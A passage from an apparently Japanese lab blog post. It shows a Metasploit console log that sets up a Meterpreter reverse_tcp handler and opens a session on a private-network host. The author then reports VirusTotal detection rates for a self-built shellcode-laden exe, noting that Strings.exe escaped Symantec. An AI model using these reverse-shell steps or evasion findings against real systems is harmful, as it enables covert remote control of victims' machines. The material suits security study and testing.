oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
.OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
.dOOo'WM.OOOOocccxOOOO.MX'xOOd.
,kOl'M.OOOOOOOOOOOOO.M'dOk,
:kk;.OOOOOOOOOOOOO.;Ok:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v4.16.64-dev-38e1a059284c093e9bba5b59bfa43938c61b86b4]
+ -- --=[ 1780 exploits - 1016 auxiliary - 308 post ]
+ -- --=[ 538 payloads - 41 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf exploit(multi/handler) > set LHOST 192.168.11.8
LHOST => 192.168.11.8
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.11.8:8888
[*] Sending stage (179779 bytes) to 192.168.11.2
[*] Meterpreter session 1 opened (192.168.11.8:8888 -> 192.168.11.2:50463) at 2018-06-29 00:57:30 +0900
meterpreter >
virustotalで検出具合を確認してみた
VirusTotalは、ユーザーがファイルやURLをアップロードすると、主要なセキュリティベンダーの定義ファイルを使って悪質なものであるかを調べられる。利用は無料だが、有償サービスの「VirusTotal Intelligence」ではアップロードされたファイルの情報を入手できるため、セキュリティベンダーなどがマルウェア動向などを研究する目的で、この有償サービスを利用している。
今回作成したシェルコード入りexeは、どのくらいのウイルス対策ソフトで検出されるのか確認すべくvirustotalでscanしてみたら16 / 64の定義ファイルでウイルスとして検出された。
putty.exeはウイルスとして検出できたSymantecさんも、Strings.exeはウイルスとして検出できなかった模倣。意外と検出率が悪いのだなと思った。詳細は以下のページで確認可能。
